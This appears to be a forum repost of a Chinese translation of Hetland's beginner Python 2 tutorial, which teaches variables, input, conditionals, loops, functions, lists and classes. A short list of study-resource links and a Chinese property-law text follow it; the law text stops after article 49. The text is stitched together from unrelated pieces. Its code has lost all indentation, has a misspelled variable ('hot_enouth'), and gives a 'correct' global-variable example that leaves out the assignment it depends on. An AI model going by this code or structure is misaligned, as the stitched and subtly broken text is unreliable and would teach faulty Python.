编程是什么？\n\n为计算机写程序其实就是给它一系列的指令告诉它去做什么。计算机程序在某些方面就象是菜谱，指导我们如何做菜的那种。例如［1］：\n\n假日火腿沙拉\n\n原料：\n\n腌泡汁：\n1/4杯酸橙汁\n1/4杯低钠大豆酱油\n1/4杯水\n1大汤匙植物油\n3/4茶匙小茴香\n1/2茶匙牛至\n1/4茶匙热胡椒粉\n2片丁香、大蒜，捣碎\n\n沙拉：\n1份（12盎司）罐装少钠午餐肉火腿切成条状\n1个洋葱，切片\n胡椒粉，切好的生菜\n12个樱桃西红柿，切半\n\n方法：\n\n把腌泡汁装在有合适盖子的广口瓶里摇匀。用塑料袋装上火腿，泼上腌泡汁，封住袋口。在电冰箱里腌制30分钟。从塑料袋里取出火腿；准备2大汤匙腌泡汁，在煮锅里煮一下。加上火腿、洋葱、绿色的胡椒。烧3到4分钟直到火腿熟了为止……\n\n当然，没有一台计算机会懂这个……而且即便是懂，大多数计算机也不可能烧制出一份沙拉。那么，我们该如何让这些变得对计算机来说更为友好一些呢？从根本上说依赖于两点：首先，我们必须以计算机可以理解的方式与之交流；其次还要和它谈论它能够做到的事情。\n\n第一点意味着我们必须使用一种语言－－一种已经为之准备好了解释器的程序设计语言，第二点意味着我们不能期望计算机为我们做一份沙拉－－但是我们可以让它做数字累加或者在屏幕上打印东西之类的事情。\n\n3. Hello……\n\n程序设计教程有一个传统，通常以在屏幕上打印“Hello, world!”这样的程序做为开始。对python来说，这非常简单：\n\nprint "Hello, world!"\n\n它从根本上说很象上面的菜谱（尽管要短得多！）。它告诉计算机做什么：打印“Hello, world!”。如果让它打印更多的废话该怎么做呢？很简单：\n\nprint "Hello, world!"\nprint "Goodbye, world!"\n\n不比上一个难，是不是？但是不怎么有趣……我们希望它可以处理更多的元素，就象沙拉菜谱那样。那么，我们都有哪些元素呢？首先，有字符串，象“Hello, world!”，除此之外还有数字。假设我们打算让计算机为我们计算矩形的面积。我们可以给它如下的菜谱：\n\n# The Area of a Rectangle\n\n# Ingredients:\n\nwidth = 20\nheight = 30\n\n# Instructions:\n\narea = width * height\nprint area\n\n你大概可以看出它同火腿沙拉菜谱的相似性（尽管有些细微的差别）。但它是如何工作的呢？首先，以#开始的行叫做注释事实上会被计算机忽略。然而插入象这样小段的注释对于增强你程序的可读性来说是很重要的。\n\n接下来，看起来象 foo = bar 这样的行叫做赋值。对于 width = 20 这样的情况来说就是告诉计算机从这里开始width就代表20了。它还意味着一个名字为“width”的变量从此被创建了（如果它先前已经存在，那么会被重新覆盖）。所以，我们以后使用这个变量的时候，计算机就知道了它的值。因此，\n\nwidth * height\n\n本质上同\n\n20 * 30\n\n一样会计算出600这个结果，然后赋给名称为“area”的变量。程序的最后一句在屏幕上打印出变量“area”的值，所以你看到这个程序运行的最终结果仅仅是\n\n600\n\n注意：在某些程序设计语言中，你必须在程序开始的时候告诉计算机你将会用到哪些变量（就象沙拉中的元素）－－而python足够聪明，所以你可以根据需要随时创建。\n\n4. 反馈\n\n现在，你可以执行一些简单，或者再复杂一点的计算了。比方说，你或许打算写一段程序来计算圆形的面积而不是矩形的：\n\nradius = 30\n\nprint radius * radius * 3.14\n\n然而，这事实上并不比计算矩形面积的那个程序更有意思。至少在我看来是这样。它有些僵硬。如果我们看到半径为31的圆该怎么办？怎样让计算机知道？这有点象沙拉菜谱中的：“烧3到4分钟直到火腿熟了为止。”要知道何时烧熟，我们必须检查。我们需要反馈，或者提示。计算机如何知道我们圆形的半径？同样需要输入资料……我们可以做的是告诉计算机半径是多少：\n\nradius = input("What is the radius?")\nprint radius * radius * 3.14\n\n现在程序变得漂亮一些了……input是个被称为函数的东西。（很快你将学习创建你自己的函数。而input是python内建的函数。）仅仅写下\n\ninput\n\n什么也不会做……你必须在它的后面放上一对括号。所以input()可以工作－－它会简单的要求用户输入半径的长度。而上面的那个版本对用户来说也许更友好一些，因为它首先打印出了一个问题。当我们将诸如提问字符串“What is the radius?”之类的东西放在函数调用的括号中时，这个过程被称为函数的参数传递。括号中的内容被称为参数。在上个例子中我们传递了一个提问作为参数以便input知道在获得答案前应该先打印什么。\n\n但是获得的答案如何到达radius变量呢？函数input，调用时，会返回一个值（象许多其它函数一样）。你不一定非要使用这个值，但象我们这种情况，我们要使用它。这样，下面这两个表达式有着很大的差别：\n\nfoo = input\nbar = input()\n\nfoo现在包含input函数本身（所以它事实上可以象foo("What is your age?")这样使用；这被称为动态函数调用）而bar包含用户键入的值。\n\n\n5. 流程\n\n现在我们可以编写程序执行简单的任务（运算和打印）并且可以获得用户输入了。这很有用，但仍然局限在按顺序执行命令，也就是说－－它们必须按照事先安排好的顺序执行。大多数火腿沙拉菜谱是象这样顺序或者线性叙述的。但是如果我们打算让计算机检查沙拉是否烧好该怎样告诉它呢？如果烧好了，那么应该从烘箱里把它取出来－－否则的话，应该接着让它烧更长一段时间什么的。我们如何表达这个？\n\n我们想做的，其实是控制程序的流程。它可以从两个方向执行－－要么拿开火腿，要不继续让它留在烘箱里。我们可以选择，条件是它是否烧好。这被称为条件执行。我们可以这样写：\n\ntemperature = input("What is the temperature of the spam?")\n\nif temperature > 50:\nprint "The salad is properly cooked."\nelse:\nprint "Cook the salad some more."\n\n意思很明显：如果温度超过50（摄氏度），那么打印出信息告诉用户烧好了，否则，告诉用户再烧制一段时间。\n\n注意：缩进在python中很重要。条件执行（还有循环执行以及函数定义－－见后面）中的语句块必须被缩进（而且要缩进同等数量的空格；一个键相当于8个空格）以便解释器可以知道它们从哪里开始到哪里结束。这同时也使程序变得更加可读。\n\n让我们回到先前的面积计算问题。能看出来这段程序做什么吗？\n\n# Area calculation program\n\nprint "Welcome to the Area calculation program"\nprint "---------------------------------------"\nprint\n\n# Print out the menu:\nprint "Please select a shape:"\nprint "1 Rectangle"\nprint "2 Circle"\n\n#Get the user\s's choice:\nshape = input("> ")\n\n#Calculate the area:\nif shape == 1:\nheight = input("Please enter the height: ")\nwidth = input("Please enter the width: ")\narea = height *width\nprint "The area is ", area\nelse:\nradius = input("Please enter the radius: ")\narea = 3.14 * (radius**2)\nprint "The area is ", area\n\n这个例子中的新东西：\n1. 只使用print本身将打印出一个空行\n2. ==检查两个值是否相等，与=不同，后者把表达式右侧的值赋给左侧的变量。这是一个非常重要的差别！\n3. **是python的幂运算符－－因此半径的平方被写成radius**2\n4. print能够打印出不止一个东西。只要用逗号把它们分开就可以了。（它们在输出时会用单个空格分开。）\n\n这个程序很简单：它要一个数字，告诉它用户打算让它计算矩形或是圆形的面积。然后，使用一个if语句（条件执行）来决定应当执行哪个语句块计算面积。这两个语句块同先前面积计算例子中使用的语句块本质上是一样的。留意注释是如何使代码变得更加可读的。编程的第一条戒律就是：“你应当注释！”无论如何－－它都是一个应该养成的好习惯。\n\n练习1：\n\n扩展上面的程序使它包括正方形面积的计算，用户只要输入它一条边的长度就可以了。做这个练习之前你需要了解一件事：如果你有两个以上的选择，你可以象这样写：\n\nif foo == 1:\n# Do something...\nelif foo == 2:\n# Do something else...\nelif foo == 3:\n# If all else fails...\n\n这里的elif是意思为“else if”的神秘代码:)。所以，如foo等于1，做某件事；否则，如果foo等于2，那么做另外的一些事，等等。你也可以在程序中加入其它的选项－－象三角形以及任意多边形。随你的便。\n\n6. 循环\n\n顺序执行和条件执行仅仅是程序设计三个基本语句块架构方式中的两个。第三个则是循环执行。在上个段落中我假设了一种情况，检查火腿是否烧好，但很明显它并不适用。如果下次检查时火腿仍然没烧好该怎么办？我们怎么知道需要检查多少次？事实上，我们不知道。而且我们也没必要知道。我们可以要求计算机持续检查直到烧好了为止。怎么表达这个？你猜到了－－我们使用循环，或者说是重复执行。\n\npython有两种循环类型：while循环和for循环。for循环大概是最简单的。举个例子：\n\nfor food in "spam", "eggs", "tomatoes":\nprint "I love", food\n\n它的意思是：对于列表"spam", "eggs", "tomatoes"中的每个元素，都打印出你喜欢它。循环中的语句块为每个元素执行一次，而且每次执行，当前的元素都被赋给变量food（在这个例子中）。另外一个例子：\n\nfor number in range(1, 100):\nprint "Hello, world!"\nprint "Just", 100 - number, "more to go..."\n\nprint "Hello, world"\nprint "That was the last one... Phew!"\n\n函数range返回给定范围的数字列表（包括第一个数字，不包括最后一个……这个例子中是［1……99］）。所以，这样解释它：\n\n循环体为1（包括）到100（不包括）之间的数字每个执行一次。（哪个是循环体以及随后的表达式事实上做什么留下来做为练习。）\n\n但这对我们的烧菜问题并没有实质的帮助。如果我们打算检查火腿一百次，那么这是个很好的解决方案；但是我们不知道这是否够－－或者太多了。我们只是希望它在温度达不到（或者，直到它足够热－－大致某个状态）的时候持续检查。所以，我们使用while:\n\n# Spam-cooking program\n\n# Fetch the function sleep\nfrom time import sleep\n\nprint "Please start cooking the spam. (I\s'll be back in 3 minutes.)"\n\n# Wait for 3 minutes (that is, 3*60 seconds)...\nsleep(180)\n\nprint "I\s'm baaack :)"\n\n# How hot is hot enough?\nhot_enough = 50\n\ntemperature = input("How hot is the spam?")\nwhile temperature < hot_enouth:\nprint "Not hot enough... Cook it a bit more..."\nsleep(30)\ntemperature = input("OK, How hot is it now?")\n\nprint "It\s's hot enough - You\s're done!"\n\n这个例子中的新东西……\n\n1. 有些有用的函数被存储在模块中而且可以被导入。此例中我们从python自带的time模块中导入了函数sleep（它休止给定的多少秒的时间）。（做你自己的模块当然也是可能的……）\n\n练习2：\n\n写一个程序，持续从用户获得数据然后相加，直到它们的和为100。再写一个程序，从用户那里获得100个数据，打印出它们的和。\n\n7. 大一点的程序 - 抽象化\n\n如果想知道一本书的大致内容，你不会翻遍所有的页－－你只是看看目录，是不是？它会列出书的主要内容。现在－－想像写一本菜谱。许多菜谱，像“奶油火腿通心面”和“瑞士火腿馅饼”很可能包含相同的东西，比如火腿，在这种情况下－－你肯定不会打算在每个菜谱里都重复叙述如何制作火腿。（好了……你事实上可能不做火腿……但是为了做例子，请忍受一下:)）。你会把制作火腿的菜谱单独放在一个章节，而仅仅在其它章节里引用它。这样－－代替在每个菜谱里都完整的描述，你只要引用章节的名称就可以了。在计算机编程中这被称为抽象化。\n\n我们是不是已经象这样运行了某些东西？是的。我们没有详细的告诉计算机如何从用户那里获得一个答案（好了－－我们没有真的这样做……同样地……我们也没有真正的在做火腿:)）而是简单的使用了input－－一个函数来代替。我们事实上可以构造我们自己的函数，来应用于这种类型的抽象化中。\n\n假设我们希望找到小于给定正数的最大整数。例如，给定2.7，这个数应当是2。这往往被称为给定数的“底线（floor）”。（这事实上可以用 python的内建函数int来处理，但是，请再次忍受我拿它作例子……）我们该怎样做？一个简单的解决办法是从0开始试每一个可能的数：\n\nnumber = input("What is the number?")\n\nfloor = 0\n\nwhile floor <= number:\nfloor = floor + 1\n\nfloor = floor - 1\n\nprint "The floor of ", number, "is ", floor\n\n注意当floor不再小于（或者等于）给定数时循环结束了；我们加了太多1给它。因此我们必须为它减去1。如果我们希望把它应用于完整的数学运算该怎么办呢？我们不得不为求每个数的基数（"floor"-ing)而写一次完整的循环。这很不舒服……你可能猜到了我们代之以什么：把它放在我们自己的函数中，命名为“floor”：\n\ndef floor(number):\nresult = 0\nwhile result <= number:\nresult = result + 1\nresult = result - 1\nreturn result\n\n这个例子中的新东西……\n\n1. 函数用关键字def定义，函数名紧随其后并且要用括号把需要的参数括起来。\n2. 如果要求函数返回一个值，要使用关键字return来处理（它同时也自动结束函数定义）。\n\n定义了函数之后，我们可以象这样使用它：\n\nx = 2.7\ny = floor(2.7)\n\n执行后，y的值应该是2。定义拥有多个参数的函数也是可以的：\n\ndef sum(x, y):\nreturn x + y\n\n练习3\n\n写一个函数，用欧几里德方法寻找两个数的一个共同因数。工作过程是这样的：\n\n1. 假设两个数，a和b，a大于b\n2. 重复以下步骤直到b变成0：\n1. a变为b的值\n2. b变成没有改变值之前的a除以没有改变值之前的b的余数\n3. 返回a的最后一个值\n\n提示：\n\n* 使用a和b作为函数的参数\n* 简单的设定a大于b\n* x除以z的余数用表达式 x % z 来计算\n* 两个变量可以象这样一起赋值：x, y = y, y+1。这里x被赋以值y（这意味着，y的值此前已经指定）而且y被递增了1。\n--------------------------------------------------------------------------------\n\n-- 作者：自由精灵\n-- 发布时间：2006-2-10 11:57:49\n\n-- \n8. 深入函数\n\n上面的练习怎么做？难吗？还不太清楚函数？别担心－－我还没完成我的话题呢。\n\n我们构建函数时使用的萃取方法称为过程抽象，许多编程语言把关键字过程同函数一样使用。事实上，这两个概念是不一样的，但是在python中它们都被称为函数（因为它们或多或少以同样的方式定义和使用）。\n\n函数和过程（在其它语言中）的区别在哪里呢？嗯－－就像你在前面的段落里看到的那样，函数可以返回一个值。区别就是过程并不返回这样的值。许多时候，用这种方法把函数划分为两种类型－－返回值的和不返回值的－－是很有用的。\n\n不返回值的函数（过程）可以用作子程序或例行程序。我们调用这些函数，它们制造某些原料，就象泡沫鲜奶之类的。我们可以在很多地方使用这个函数而不需要重写它的代码（这被称为代码再利用－－以后你还会知道，它意义不仅仅在这里）。\n\n这样的函数（或过程）的另一个有用性体现在－－它改变了环境（例如，把糖和奶油混在一起搅拌，它们的整个外部状态就变化了）让我们看个例子：\n\ndef hello(who):\nprint "Hello, ", who\n\nhello("world")\n# Prints out "Hello, world"\n\n打印出内容是它一方面的作用，因为这是这个函数唯一需要做的事，它其实是一个典型的所谓过程。但是……它事实上没有改变它的运行环境，是不是？它怎样才能改变呢？让我们试一下：\n\n# The *wrong* way of doing it\nage = 0\n\ndef setAge(a):\nage = a\n\nsetAge(100)\nprint age\n# Prints "0"\n\n错在哪儿？错在函数setAge创建了它自己的也被命名为age的局部变量，它只在setAge函数内部可用。那如何才可以避免出现这个问题呢？我们可以使用全局变量。\n\n注意：全局变量在python中不常用。它们容易引起不好的代码组织结构，被称为意大利面代码。我这里使用它们是为了引出更复杂一点的技术问题－－如果你可以请尽量避免使用它们。\n\n通过告诉解释器一个变量是全局的（用象global age这样的表达式做），我们事实上\n告诉了它在函数之外使用这个变量，而不是重新创建一个新的局部变量。（所以，和局部\n相反它是全局的。）因此上面的程序可以象这样重写：\n\n# The correct, but not-so-good way of doing it\nage=0\n\ndef setAge(a):\nglobal age\n\nsetAge(100)\nprint age\n\n# Prints "100"\n\n了解对象（随后谈到）后，你会发现更好的解决这个问题的办法是使用一个有age属\n性和setAge方法的对象。在数据结构那段，你也将会发现一些函数改变它的环境的更好的\n例子。\n好了－－那么真正的函数是什么样？什么是函数呢，事实上？数学函数象一种“机\n器”，获得输入然后计算结果。它会每次返回同样的结果，如果每次提供它同样的输入。\n例如：\n\ndef square(x):\nreturn x*x\n\n这和数学上的函数f(x)=x*x 一样。它的行为象一个精确的函数，仅仅依赖于它的输\n入，在任何情况下都不改变它的环境。\n\n所以－－我这里描绘了两种构造函数的方法：一种类型更象是过程，不返回任何结\n果；另一种更象是数学上的函数，（几乎）什么也不做就是为了返回一个结果。当然，在\n这两种极端事物之间做某些事情是可能的，尽管当函数改变事物的时候，它应该清楚它改\n变了。你可以通过标记它们的名字区分它们，例如为“纯粹”的函数使用象square这样的\n名词而对类似过程那样的函数使用象setAge这样命令式的名字。\n\n9. 更多类型－数据结构\n\n现在－－你已经知道了不少：怎样输入输出，怎样设计复杂的运算法则（程序）来执\n行数学运算，但是好戏还在后头呢。\n\n截止目前我们都在程序中使用了哪些成份呢？数字和字符串，对不对？没意思的种\n类……现在让我们引入两三个其它的成份来让事情变得更有意思些。\n\n数据结构是种组织数据的成份。（惊奇，吃惊……）单个的数据没有什么真正的数据\n结构，是不是？但是假设我们需要很多数放在一起做为一个成份－－那就需要某种结构。\n例如，我们可能想要一个数据列表。那很容易：\n\n[3, 6, 78, 93]\n\n在循环那段我提到了列表，但没真正描述它。好－－这里说的就是你如何创建它。只\n需要列出元素，用逗号分开，再加上方括号就行了。\n\n来看一个计算素数（只能被1和它本身整除的数）的例子：\n\n# Calculate all the primes below 1000\n# (Not the best way to do it, but...)\n\nresult = [1]\ncandidates = range(3, 1000)\nbase = 2\nproduct = base\n\nwhile candidates:\nwhile product < 1000:\nif product in candidates:\ncandidates.remove(product)\nproduct = product+base\nresult.append(base)\nbase = candidates[0]\nproduct = base\ndel candidates[0]\nresult.append(base)\nprint result\n\n这个例子中的新东西……\n\n内建函数range事实上返回一个列表，可以象所有其它列表那样使用。（它包括第\n一个数，但是不包括最后一个数。）\n\n列表可以当作逻辑变量使用。如果它非空，则为true，否则为false。因此，while\ncandidates意思是“while名称为candidates的列表非空时”或者简单的说“while存\n在candidates时”。\n\n你可以用if someElement in somelist来检查一个元素是否在列表中。\n\n你可以用someList.remove(someElement)来删除someList中的someElement。\n\n你可以用someList.append(something)为一个列表添加元素。事实上，你也可以使\n用“＋”（象someList = someList+[something])。但是效率不是太高。\n\n你可以通过在列表名之后加上用括号括起来的表示某元素位置的数字（很奇怪，列\n表的第1个元素，位置是0）来获得列表的某个元素。因此someList[3]是someList\n列表的第四个元素（依次类推）。\n\n你可以使用关键字del删除变量。它也可以用来删除列表中的元素（就象这里）。\n因此del someList[0]删除someList 列表中的第一个元素。如果删除前列表是[1, 2,\n3]，删除后就变成了[2, 3]。\n\n在继续叙述索引列表中的元素之前，我简单解释一下上面的例子。\n\n这是古老算术的一个版本，称为“The Sieve of Erastothenes”（类似这样）。它考量一\n系列给定数字（在本例中是一个列表），然后有组织的删除已知不是素数的数字。如何知\n道？只要看看它们是不是可以被分解为其它两个数就可以了。\n\n我们从一个包含数字[2...999]的候选列表开始－－我们知道1是素数（事实上，它可能\n是也可能不是，看你问谁了），我们想得到小于1000的所有素数。（事实上，我们的候\n选列表是[3...999]，但是2也是候选数字，因为它是我们的第一个base）。我们还有个叫result的列表，它任何时间都包含着最新的结果。最初的时候，它只包含1。我们还有个叫base的变量。每次循环，我们删除是它的倍数的数字（它总是候选列表中最小的数）。每次循环之后，我们知道剩下的最小的数是素数（因为所有可以分解的数我们都删除了）。\n\n因此，我们把它加入result，并把它设为新的base，然后从列表里移除它（这样就不会对\n它重复计算了）。当候选列表为空时，result列表将包含所有的素数。精巧吧，哈!\n思考一下：第一次循环有什么特别吗？那时base 是2，但它一样经过了筛选。为什\n么？为什么这不发生在其它的base值身上？我们打算移除product时能否确定它在候选列\n表中呢？为什么？\n\n接下来是什么呢？哦，是的……索引。还有切片。它们是从python列表中获得单个\n元素的方法。你已经见到了普通的索引行为。它相当简单。事实上，我已经告诉了你所有\n你需要知道的关于它的东西，除了一件事：负数索引从列表的末尾向前计算。所以，\nsomeList[-1]是someList的最后一个元素，someList[-2]是它之前的一个元素，依次类\n推。\n\n切片，仍然，对你来说是陌生的。它和索引相似，除了切片可以获得列表中的所有的\n元素，而不仅仅是单个的元素。这如何做呢？象这样：\n\nfood = [“spam”, “spam”, “eggs”, “sausages”, “spam”]\nprint food[2:4]\n\n# Prints “[\s'eggs\s', \s'sausages\s']”\n\n10. 继续抽象－对象和面向对象编程\n\n现在有个比较热门的词叫做“面向对象编程”。\n\n就象本段标题暗示的那样，面向对象编程仅仅是另外一种抽象细节的方式。程序通过\n命名将简单的描述抽象为复杂的操作。在面向对象编程时，我们不仅可以这样对待程序，\n还可以把它们做为对象。（现在，这肯定会让你吃惊，哈！）例如，如果编写烧火腿程\n序，我们不用编写很多过程来处理温度、时间、成份等等，我们可以把它们结合为一个火\n腿对象。或者，也许我们可以再有炉子对象和时钟对象……那么，象温度这类事物就变成\n了火腿对象的一个属性，而时间可以从时钟对象读取。要使用我们的程序做某些事，我们\n可以教给我们的对象某些方法；比如，炉子应当知道如何烹制火腿等。\n\n那么－－在python中我们如何做呢？我们不能直接制造一个对象。不能直接制造一个\n炉子，而是做一个菜谱来描述炉子应该是什么样。这份菜谱因此就描述了一个被我们称为\n炉子的一类对象。一个非常简单的炉子类可能是这样：\n\nclass Oven:\n\ndef insertSpam(self, spam):\nself.spam = spam\n\ndef getSpam(self):\nreturn self.spam\n\n这看起来很难理解，还是怎样呢？\n\n这个例子中的新东西……\n\n对象的类用关键字class定义。\n\n类的名称通常以大写字母开始，而函数和变量（还有属性和方法）的名称以小写字\n母开始。\n\n方法（也就是让对象知道如何去做的函数和操作）的定义没有特别，但是要在类的\n定义里面。\n\n所有对象的方法应当有的第一个参数叫做self（或者类似的……）原因很快就清楚\n了。\n\n对象的属性和方法可以这样来访问：mySpam.temperature = 2 或者dilbert.be_nice\n()。\n\n我能猜到上面例子中的某些东西你仍然不清楚。例如，什么是self？还有，现在我们\n有了对象菜谱（也就是类），我们怎样事实上构造一个对象呢？\n\n我们先颠倒一下顺序。对象通过象引用函数那样引用类名来创建：\n\nmyOven = Oven()\n\nmyOven包含了一个Oven对象，通常叫做Oven类的一个实例。假设我们也构造好了\n一个Spam类，那么我们可象这样做：\n\nmySpam = Spam()\nmyOven.insertSpam(mySpam)\n\nmyOven.spam现在将包含mySpam。怎么回事？因为，我们调用一个对象的某个方法\n时，第一个参数，通常称为self，总是包含对象本身。（巧妙，哈！）这样，self.spam =spam这一行设置当前Oven对象的spam属性的值为参数spam。注意它们是两个不同的事物，尽管在这个例子中它们都被称为spam。\n\n11. 练习3答案\n\n这是这个运算法则的一个非常简洁的版本：\ndef euclid(a, b):\nwhile b:\na, b = b, a%b\nreturn a\n\n12. 参考\n［1］假日火腿沙拉菜谱摘自«Hormel Foods»电子版菜谱。\nCopyright © Magnus Lie Hetland
http://bbs.mediachina.net\n中国传媒网\n\nhttp://rwxy.hutc.zj.cn/jpkc/cbx/kcjj.asp\n湖州师范学院的网站。有我们学的《传播学》全文习题和考卷，很全。\n\nhttp://edu.stats.gov.cn/CoursewareRoot/System/News/Hdlm/20043457905ZY.htm\n“十五规划统计教材”配套电子教案 关于统计学\n\nhttp://www.broadtarget.com/\n数据分析论坛，你早晚会进这个论坛，早点去熟悉熟悉吧。\n\n
第一编 总则 \n 第一章 一般规定 \n 第二章 物权的设立、变更、转让和消灭 \n 第一节 不动产登记 \n 第二节 动产交付 \n 第三节 其他规定 \n 第三章 物权的保护 \n 第二编 所有权 \n 第四章 一般规定 \n 第五章 国家、集体和私人所有权 \n 第六章 业主的建筑物区分所有权 \n 第七章 相邻关系 \n 第八章 共有 \n 第九章 所有权取得的特别规定 \n 第三编 用益物权 \n 第十章 一般规定 \n 第十一章 土地承包经营权 \n 第十二章 建设用地使用权 \n 第十三章 宅基地使用权 \n 第十四章 地役权 \n 第十五章 居住权 \n 第四编 担保物权 \n 第十六章 一般规定 \n 第十七章 抵押权 \n 第一节 一般抵押权 \n 第二节 最高额抵押权 \n 第十八章 质权 \n 第一节 动产质权 \n 第二节 权利质权 \n 第十九章 留置权 \n 第五编 占有 \n 第二十章 占有 \n 附则 \n \n 第一编 总则 \n \n 第一章 一般规定 \n \n 第一条 为明确物的归属，保护权利人的物权，充分发挥物的效用，维护社会主义市场经济秩序，维护国家基本经济制度，制定本法。 \n 第二条 本法调整平等主体之间因物的归属和利用而产生的财产关系。 \n 本法所称物，包括不动产和动产。法律规定权利作为物权客体的，依照其规定。 \n 本法所称物权，指权利人直接支配特定的物的权利，包括所有权、用益物权和担保物权。 \n 第三条 物权的种类和内容，由本法和其他法律规定。 \n 第四条 物权应当公示。记载于不动产登记簿的人是该不动产的权利人，动产的占有人是该动产的权利人，但有相反证据证明的除外。法律规定不经登记即可取得物权的，依照其规定。 \n 第五条 物权的取得和行使，应当遵守法律，尊重社会公德，不得损害公共利益和他人合法权益。 \n 第六条 任何单位和个人负有不妨碍权利人行使物权的义务。 \n 第七条 权利人享有的物权受法律保护，任何单位和个人不得侵害。 \n 第八条 其他法律对物权的种类和内容等另有规定的，依照其规定。 \n \n 第二章 物权的设立、变更、转让和消灭 \n \n 第一节 不动产登记 \n \n 第九条 不动产物权的设立、变更、转让和消灭，应当登记；未经登记，不发生物权效力，但法律另有规定的除外。 \n 依法属于国家所有的自然资源，所有权可以不登记。 \n 第十条 不动产登记，由不动产所在地的登记机构办理。 \n 国家对不动产实行统一登记制度。统一登记的范围、登记机构和登记办法，由法律、行政法规规定。 \n 第十一条 当事人申请登记，应当提供权属证书、合同书、法院判决或者征收决定以及标明不动产位置、面积等的其他必要材料。 \n 第十二条 登记机构应当履行下列职责： \n （一）查验申请人提交的必要材料； \n （二）就有关登记事项询问申请人； \n （三）如实、及时地登记有关事项； \n （四）法律、行政法规规定的其他职责。 \n 登记机构认为对申请登记的不动产的实际状况需要查看的，申请人以及其他有义务协助的人应当协助。 \n 第十三条 登记机构不得有下列行为： \n （一）要求对不动产进行评估； \n （二）以年检等名义进行重复登记； \n （三）超出登记职责范围的其他行为。 \n 第十四条 不动产物权的设立、变更、转让和消灭，应当登记的，自记载于不动产登记簿时发生效力。 \n 第十五条 当事人之间订立有关设立、变更、转让和消灭不动产物权的合同，除法律另有规定或者合同另有约定外，自合同成立时生效；未办理物权登记的，不影响合同效力。 \n 第十六条 不动产登记簿记载的事项，是物权归属和内容的根据。 \n 不动产登记簿由登记机构管理。 \n 第十七条 不动产权属证书是权利人享有该不动产物权的证明。不动产权属证书记载的事项，应当与不动产登记簿记载的事项一致；记载不一致的，以不动产登记簿为准。 \n 第十八条 登记机构应当向权利人和利害关系人提供查阅、复制登记资料的便利，同时应当对涉及国家秘密、商业秘密和个人隐私的内容保守秘密。 \n 第十九条 利害关系人对不动产登记簿记载的物权归属等事项有异议的，可以申请异议登记。登记簿记载的权利人书面同意异议登记或者人民法院裁定予以异议登记的，登记机构应当将该异议记载于不动产登记簿。 \n 申请人自登记簿记载的权利人书面同意异议登记之日起三个月内不起诉也不申请更正登记的，或者自人民法院异议登记裁定生效之日起十五日内不起诉的，异议登记失效。 \n 有证据证明异议登记不当，权利人有权申请登记机构注销异议登记。异议登记造成权利人损害的，权利人可以向异议登记的申请人请求损害赔偿。 \n 第二十条 利害关系人认为不动产登记簿记载错误的，可以申请更正登记。有证据证明登记确有错误的，登记机构应当予以更正。 \n 登记更正后，原权利人在异议登记期间对该不动产作出的处分，登记更正后的权利人未追认的，不发生效力。 \n 第二十一条 当事人约定买卖期房或者转让其他不动产物权的，债权人为限制债务人处分该不动产，保障将来取得物权，可以向登记机构申请预告登记。债权人已经支付一半以上价款或者债务人书面同意预告登记的，登记机构应当进行预告登记。预告登记后，债务人未经债权人同意，不得处分该不动产。 \n 预告登记后，债权人自能够进行不动产登记之日起三个月内未申请登记的，或者债权消灭的，预告登记失效。具有预告登记失效事由的，债务人有权申请注销预告登记。 \n 第二十二条 一个不动产上有两个以上物权的，一个物权变更或者抛弃，不影响其他物权的效力。 \n 第二十三条 基于不动产登记簿享有的物权受法律保护，但记载于不动产登记簿的权利人在取得权利时知道或者应当知道该权利有瑕疵的除外。 \n 第二十四条 当事人提供虚假的权属证书等证明材料申请登记，给他人造成损害的，应当承担赔偿责任；构成犯罪的，依法追究刑事责任。 \n 因登记错误，给他人造成损害的，登记机构应当承担赔偿责任；登记机构赔偿后，可以向造成登记错误的责任人追偿。 \n 第二十五条 不动产登记费不得按照不动产的面积、体积或者价额的比例收取，具体收费标准由国务院规定。 \n 第二十六条 依照本法和其他法律的规定，对动产物权、权利质权进行登记的，参照不动产登记的有关规定办理。 \n \n 第二节 动产交付 \n \n 第二十七条 动产所有权的转让和动产质权的设立等，除法律另有规定外，自交付时发生效力。 \n 第二十八条 船舶、飞行器和机动车等物权的设立、变更、转让和消灭，未经登记，不得对抗善意第三人。 \n 第二十九条 动产物权设立、转让前，权利人已经占有该动产的，物权自法律行为生效时发生效力。 \n 第三十条 动产物权设立、转让前，第三人占有该动产的，可以通过转让请求第三人返还原物的权利代替交付。 \n 第三十一条 动产物权转让时，出让人应当将该动产交付给受让人，但双方约定由出让人继续占有该动产的，物权自约定生效时发生效力。 \n \n 第三节 其他规定 \n \n 第三十二条 因人民法院的法律文书、人民政府的征收决定等行为导致物权设立、变更、转让和消灭的，自法律文书生效或者人民政府作出的征收决定等行为生效时发生效力。 \n 第三十三条 因继承取得物权的，自继承开始时发生效力。 \n 第三十四条 因合法建造、拆除住房等事实行为设立和消灭物权的，自事实行为成就时发生效力。 \n 第三十五条 依照本法第三十二条至第三十四条规定，导致不动产物权设立、变更、转让和消灭的，应当依照法律规定及时办理登记；未经登记，不得处分其物权。 \n \n 第三章 物权的保护 \n \n 第三十六条 物权受到侵害的，权利人可以通过和解、调解等途径解决，也可以依法向人民法院提起诉讼。 \n 第三十七条 因物权的归属和内容发生争议的，利害关系人可以请求确认权利。 \n 第三十八条 无权占有不动产或者动产的，权利人可以请求返还原物；不能返还原物或者返还原物后仍有损失的，可以请求损害赔偿。 \n 第三十九条 造成不动产或者动产毁损的，权利人可以请求恢复原状；不能恢复原状或者恢复原状后仍有损失的，可以请求损害赔偿。 \n 第四十条 妨害行使物权的，权利人可以请求排除妨害。 \n 第四十一条 有可能危及行使物权的，权利人可以请求消除危险。 \n 第四十二条 侵害物权，造成权利人损害的，权利人可以请求损害赔偿。 \n 第四十三条 本章规定的物权保护方式，可以单独适用，也可以根据权利被侵害的情形合并适用。 \n 侵害物权，除承担民事责任外，违反行政管理规定的，应当依法承担行政责任；构成犯罪的，依法追究刑事责任。 \n 第四十四条 权利人请求排除妨害或者消除危险，不适用诉讼时效。 \n \n 第二编 所有权 \n \n 第四章 一般规定 \n \n 第四十五条 所有权人对自己的不动产或者动产，依照法律规定享有占有、使用、收益和处分的权利。 \n 第四十六条 所有权人有权在自己的不动产或者动产上设立用益物权和担保物权。 \n 第四十七条 国家、集体和私人所有权受法律保护。禁止任何单位和个人用任何手段侵占或者破坏国家、集体和私人的财产。 \n 第四十八条 依照法律规定只能属于国家所有的不动产和动产，任何单位和个人不能取得所有权。 \n 第四十九条 为了公共利益的需要，县级以上人民政府依照法律规定的权限和程序，可以征收、征用单位、个人的不动产或者动产，但应当按照国家规定给予补偿；没有国家规定的，应当给予合理补偿。 \n \n 第五章 国家、集体和私人所有权 \n \n 